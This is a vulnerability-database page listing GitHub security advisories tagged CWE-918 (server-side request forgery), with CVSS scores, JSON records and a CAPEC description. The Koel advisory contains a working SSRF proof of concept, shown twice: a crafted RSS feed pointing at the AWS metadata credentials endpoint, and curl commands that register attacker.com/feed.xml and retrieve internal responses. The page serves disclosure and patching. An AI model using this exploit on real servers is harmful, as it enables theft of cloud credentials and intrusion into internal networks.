Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4726 vulnerabilities reference this CWE, most recent first.

GHSA-7HJP-7485-CFWX

Vulnerability from github – Published: 2025-07-25 21:33 – Updated: 2025-07-25 21:33
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Flow Data Source modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-52453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T19:15:41Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Salesforce Tableau Server on Windows, Linux (Flow Data Source modules) allows Resource Location Spoofing. This issue affects Tableau Server: before 2025.1.3, before 2024.2.12, before 2023.3.19.",
  "id": "GHSA-7hjp-7485-cfwx",
  "modified": "2025-07-25T21:33:50Z",
  "published": "2025-07-25T21:33:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52453"
    },
    {
      "type": "WEB",
      "url": "https://help.salesforce.com/s/articleView?id=005105043\u0026type=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7HR8-H96W-3444

Vulnerability from github – Published: 2025-08-25 00:31 – Updated: 2025-08-25 00:31
VLAI
Details

A vulnerability was identified in wangsongyan wblog 0.0.1. This affects the function RestorePost of the file backup.go. Such manipulation of the argument fileName leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-9395"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-24T22:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was identified in wangsongyan wblog 0.0.1. This affects the function RestorePost of the file backup.go. Such manipulation of the argument fileName leads to server-side request forgery. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-7hr8-h96w-3444",
  "modified": "2025-08-25T00:31:14Z",
  "published": "2025-08-25T00:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9395"
    },
    {
      "type": "WEB",
      "url": "https://github.com/on-theway/wblog/blob/main/README.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/on-theway/wblog/blob/main/README.md#vulnerability-details-and-poc"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.321231"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.321231"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.632367"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7J24-FPJP-3CMX

Vulnerability from github – Published: 2025-02-20 12:31 – Updated: 2025-02-20 12:31
VLAI
Details

The Embed Any Document – Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.5 via the 'embeddoc' shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-1043"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-20T12:15:11Z",
    "severity": "MODERATE"
  },
  "details": "The Embed Any Document \u2013 Embed PDF, Word, PowerPoint and Excel Files plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.7.5 via the \u0027embeddoc\u0027 shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-7j24-fpjp-3cmx",
  "modified": "2025-02-20T12:31:15Z",
  "published": "2025-02-20T12:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1043"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3242370/embed-any-document"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b9f8c600-d62d-4f27-ba73-1a77a63859bc?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7J2F-6H2R-6CQC

Vulnerability from github – Published: 2026-05-29 19:56 – Updated: 2026-06-12 22:01
VLAI
Summary
Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs
Details

Summary

Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.

Vulnerability Details

Episode URL Stored Without Validation

File: app/Services/Podcast/PodcastService.php, line 146

'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML

The SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.

SSRF Trigger: Full Content Download

File: app/Values/Podcast/EpisodePlayable.php, line 42

Http::sink($file)->get($episode->path)->throw();

When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.

SafeUrl Applied Only to Feed URL

File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php

public function rules(): array
{
    return ['url' => ['required', 'url:http,https', new SafeUrl]];
}

The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.

Attack Flow

  1. Attacker registers an account (Community edition, no Plus required)
  2. Attacker hosts a malicious RSS feed on a public server: xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss>
  3. POST /api/podcasts with url=https://evil.com/feed.xml — passes SafeUrl (public URL)
  4. Koel parses feed, stores episode with path = http://169.254.169.254/...
  5. Attacker plays episode: GET /play/{episode_id}
  6. Server executes Http::sink($file)->get("http://169.254.169.254/...")
  7. AWS metadata response downloaded to disk, streamed back to attacker

Proof of Concept

#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"

# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'

# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')

# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response

Impact

  • Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
  • Internal network reconnaissance: Scan ports and enumerate internal HTTP services
  • Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
  • Full response body: Unlike blind SSRF, the entire response is returned to the attacker

Secondary Finding: SSRF Bypass via AI Radio Station Tool

File: app/Ai/Tools/AddRadioStation.php, lines 35-38

The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.

Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.

Novelty Check

  • No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
  • No SECURITY.md in the repository
  • This is a novel vulnerability

Remediation

Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():

foreach ($episodeCollection as $episodeValue) {
    $enclosureUrl = $episodeValue->enclosure->url;
    $host = parse_url($enclosureUrl, PHP_URL_HOST);
    if (!$host || !Network::isPublicHost($host)) {
        continue; // Skip episodes with non-public URLs
    }
    // ... rest of episode creation
}

Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().

Fix 3: Add SafeUrl validation in AddRadioStation AI tool.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.3.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phanan/koel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:56:06Z",
    "nvd_published_at": "2026-06-12T20:16:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `\u003cenclosure url=\"...\"\u003e` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()-\u003eget()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n\u0027path\u0027 =\u003e $episodeValue-\u003eenclosure-\u003eurl,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)-\u003eget($episode-\u003epath)-\u003ethrow();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won\u0027t have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return [\u0027url\u0027 =\u003e [\u0027required\u0027, \u0027url:http,https\u0027, new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL \u2014 not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   \u003crss version=\"2.0\"\u003e\n     \u003cchannel\u003e\n       \u003ctitle\u003eLegit Podcast\u003c/title\u003e\n       \u003citem\u003e\n         \u003ctitle\u003eEpisode 1\u003c/title\u003e\n         \u003cenclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/\u003e\n         \u003cguid\u003essrf-1\u003c/guid\u003e\n       \u003c/item\u003e\n     \u003c/channel\u003e\n   \u003c/rss\u003e\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` \u2014 passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)-\u003eget(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"\u003capi_token\u003e\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"https://attacker.com/feed.xml\"}\u0027\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r \u0027.[0].episodes[0].id\u0027)\n\n# Play the episode \u2014 triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant\u0027s `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue-\u003eenclosure-\u003eurl;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
  "id": "GHSA-7j2f-6h2r-6cqc",
  "modified": "2026-06-12T22:01:12Z",
  "published": "2026-05-29T19:56:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koel/koel"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs"
}

GHSA-7JGW-FHVX-QFXF

Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:54
VLAI
Details

An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.

Severity
7.0 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-6793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-09T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in GitLab Enterprise Edition before 11.5.8, 11.6.x before 11.6.6, and 11.7.x before 11.7.1. The Jira integration feature is vulnerable to an unauthenticated blind SSRF issue.",
  "id": "GHSA-7jgw-fhvx-qfxf",
  "modified": "2024-04-04T01:54:43Z",
  "published": "2022-05-24T16:55:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6793"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/2019/01/31/security-release-gitlab-11-dot-7-dot-3-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/50748"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JJG-GM2C-94V7

Vulnerability from github – Published: 2024-12-26 06:30 – Updated: 2024-12-30 18:30
VLAI
Details

The Broken Link Checker WordPress plugin before 2.4.2 does not validate a the link URLs before making a request to them, which could allow admin users to perform SSRF attack, for example on a multisite installation.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10903"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-26T06:15:05Z",
    "severity": "MODERATE"
  },
  "details": "The Broken Link Checker WordPress plugin before 2.4.2 does not validate a the link URLs before making a request to them, which could allow admin users to perform SSRF attack, for example on a multisite installation.",
  "id": "GHSA-7jjg-gm2c-94v7",
  "modified": "2024-12-30T18:30:41Z",
  "published": "2024-12-26T06:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10903"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/39027390-ce01-4dd5-a979-426785aa7acb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JM8-4VMP-FF6G

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-6308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-20T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.",
  "id": "GHSA-7jm8-4vmp-ff6g",
  "modified": "2022-05-24T17:31:52Z",
  "published": "2022-05-24T17:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6308"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2943844"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=558632196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7JVH-4MQP-GF66

Vulnerability from github – Published: 2024-09-23 18:30 – Updated: 2024-09-25 03:30
VLAI
Details

An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via the model_attribs parameter.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-40441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-23T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Doccano Open source annotation tools for machine learning practitioners v.1.8.4 and Doccano Auto Labeling Pipeline module to annotate a document automatically v.0.1.23 allows a remote attacker to escalate privileges via the model_attribs parameter.",
  "id": "GHSA-7jvh-4mqp-gf66",
  "modified": "2024-09-25T03:30:35Z",
  "published": "2024-09-23T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/doccano/auto-labeling-pipeline/releases/tag/v0.1.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/doccano/doccano/releases/tag/v1.8.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gian2dchris/CVEs/tree/main/CVE-2024-40441"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7JVR-HF5M-XMJJ

Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-05-06 00:01
VLAI
Details

Jizhicms v1.9.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via /admin.php/Plugins/update.html.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-27429"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-25T13:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jizhicms v1.9.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via /admin.php/Plugins/update.html.",
  "id": "GHSA-7jvr-hf5m-xmjj",
  "modified": "2022-05-06T00:01:20Z",
  "published": "2022-04-26T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27429"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cherry-toto/jizhicms/issues/67"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7M2P-62GW-P8QQ

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-06-09 06:31
VLAI
Details

Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-41854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T05:16:37Z",
    "severity": "MODERATE"
  },
  "details": "Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.\n\nAffected versions:\nSpring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.",
  "id": "GHSA-7m2p-62gw-p8qq",
  "modified": "2026-06-09T06:31:58Z",
  "published": "2026-06-09T06:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41854"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-41854"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list